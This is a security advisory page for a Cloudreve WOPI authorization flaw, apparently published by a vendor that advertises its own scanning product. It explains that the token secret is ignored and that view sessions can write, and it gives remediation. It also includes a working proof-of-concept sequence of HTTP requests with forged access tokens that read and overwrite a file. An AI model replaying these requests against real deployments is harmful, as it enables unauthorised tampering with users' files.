GHSA-c3jm-gv5r-9wcp is a medium-severity (CVSS 6.3) CWE-863 vulnerability in github.com/cloudreve/Cloudreve/v4. O3 Security confirms whether GHSA-c3jm-gv5r-9wcp is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Cloudreve WOPI view sessions can write files and WOPI access token secret is ignored
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-c3jm-gv5r-9wcp.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-c3jm-gv5r-9wcp plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 371,256 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/cloudreve/Cloudreve/v4🐹github.com/cloudreve/Cloudreve/v3Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Cloudreve WOPI access tokens are generated as <session-id>.<random-secret>, but the WOPI middleware validates only the session id prefix and never compares the supplied token to the stored token. In addition, a WOPI viewer session does not store or enforce the requested viewer action. A session created for a view or preview action can still call WOPI write routes if the underlying file is writable by the session user.
Impact
A WOPI integration that is only expected to view a user's file can modify that file through the WOPI write endpoints. If the WOPI URL or session id leaks, the random token suffix does not protect the session because any suffix is accepted for an existing session id.
This affects deployments that configure WOPI viewers for user files. The attacker primitive is strongest when a malicious or compromised WOPI viewer receives a view-only URL and then writes content back to Cloudreve.
Affected version
Verified in source and runtime on latest master commit ba2e870bbd17f1918dd2321de861e453f696d6a3 and latest observed tag 4.16.1.
Technical details
Cloudreve creates WOPI viewer sessions in pkg/filemanager/manager/viewer.go:
sessionID := uuid.Must(uuid.NewV4()).String()
token := util.RandStringRunesCrypto(128)
sessionCache := &ViewerSessionCache{
ID: sessionID,
Uri: file.Uri(false).String(),
UserID: m.user.ID,
ViewerID: viewer.ID,
FileID: file.ID(),
Version: version,
Token: fmt.Sprintf("%s.%s", sessionID, token),
}
The token includes a 128-character random suffix, but middleware.ViewerSessionValidation() only uses the prefix before the dot:
accessToken := strings.Split(c.Query(wopi.AccessTokenQuery), ".")
if len(accessToken) != 2 {
...
}
sessionRaw, exist := store.Get(manager.ViewerSessionCachePrefix + accessToken[0])
The middleware checks that the file id matches the loaded session, but it never compares c.Query("access_token") with session.Token. As a result, <valid-session-id>.anything is accepted.
The WOPI routes are exposed without normal session authentication and rely on this middleware:
wopi := noAuth.Group("file/wopi", middleware.HashID(hashid.FileID), middleware.ViewerSessionValidation())
wopi.GET(":id", controllers.CheckFileInfo)
wopi.GET(":id/contents", controllers.GetFile)
wopi.POST(":id/contents", controllers.PutFile)
wopi.POST(":id", controllers.ModifyFile)
The write routes are not protected by a session-level write check. CreateViewerSessionService accepts preferred_action, but ViewerSessionCache has no action or write-permission field and CreateViewerSession does not persist the chosen action. The requested action is only used to generate the WOPI source URL:
wopiSrc, err := wopi.GenerateWopiSrc(c, s.PreferredAction, targetViewer, viewerSession)
WopiService.PutContent() checks only the underlying filesystem upload capability:
file, err := m.Get(c, uri, dbfs.WithRequiredCapabilities(dbfs.NavigatorCapabilityUploadFile), dbfs.WithNotRoot())
It does not check whether the WOPI session was created for an edit action.
Reproduction
The following sequence was verified against a disposable local Cloudreve instance built from the affected commit.
- Configure a WOPI viewer in Cloudreve.
- Create a user-owned file, for example
cloudreve://my/wopi.txt, containingoriginal content. - Create a viewer session with
preferred_actionset toview:
PUT /api/v4/file/viewerSession HTTP/1.1
Authorization: Bearer <user-token>
Content-Type: application/json
{
"uri": "cloudreve://my/wopi.txt",
"version": "",
"viewer_id": "poc-wopi",
"preferred_action": "view"
}
Observed response:
{
"session": {
"id": "a2d03f1b-e310-4b2a-9baf-38556fa2d5d1",
"access_token": "a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.<128-char-random-secret>"
}
}
- Replace the token suffix with any value:
GET /api/v4/file/wopi/4xc5?access_token=a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.forged_suffix_accepted HTTP/1.1
Observed response: 200 OK. The same request with an unknown session id returned 403 Forbidden, confirming the middleware validates the session id prefix but ignores the secret suffix.
- Use the forged token from the view-created session to read content:
GET /api/v4/file/wopi/4xc5/contents?access_token=a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.forged_suffix_accepted HTTP/1.1
Observed response:
HTTP/1.1 200 OK
Content-Length: 16
Etag: "1bIo"
original content
- Use the same forged token from the view-created session to write content:
POST /api/v4/file/wopi/4xc5/contents?access_token=a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.forged_suffix_accepted HTTP/1.1
X-WOPI-Lock: cloudreve-poc
Content-Type: application/octet-stream
runtime modified via view session forged suffix
Observed response:
HTTP/1.1 200 OK
X-Wopi-Itemversion: nBc0
- Read back the modified file with the forged token:
GET /api/v4/file/wopi/4xc5/contents?access_token=a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.forged_suffix_accepted HTTP/1.1
Observed response:
HTTP/1.1 200 OK
Content-Length: 47
Etag: "nBc0"
runtime modified via view session forged suffix
This proves both authorization failures: the random token suffix is ignored, and a view-created WOPI session can reach the content write sink.
Root cause
Two authorization values are generated or accepted but not enforced:
- The random WOPI token suffix is generated and stored but never compared during WOPI request validation.
- The requested WOPI action is accepted during session creation but not persisted or enforced on WOPI write routes.
Remediation
- Compare the full supplied
access_tokento the storedViewerSessionCache.Tokenusing constant-time comparison. - Reject malformed tokens and tokens with extra separators.
- Store a
CanWriteflag or selected WOPI action inViewerSessionCache. - Enforce that flag on
POST /contents,PUT_RELATIVE,LOCK, and other write operations. - Include session-level write permission when returning WOPI
FileInfofields such asReadOnlyandUserCanWrite.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/cloudreve/Cloudreve/v4 | all versions | 4.0.0-20260626022433-f3347130ac48 |
| 🐹Go | github.com/cloudreve/Cloudreve/v3 | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/cloudreve/Cloudreve/v4. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/cloudreve/Cloudreve/v4 to 4.0.0-20260626022433-f3347130ac48 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-c3jm-gv5r-9wcp is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-c3jm-gv5r-9wcp is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-c3jm-gv5r-9wcp. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-c3jm-gv5r-9wcp in your dependencies?
O3 detects GHSA-c3jm-gv5r-9wcp across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.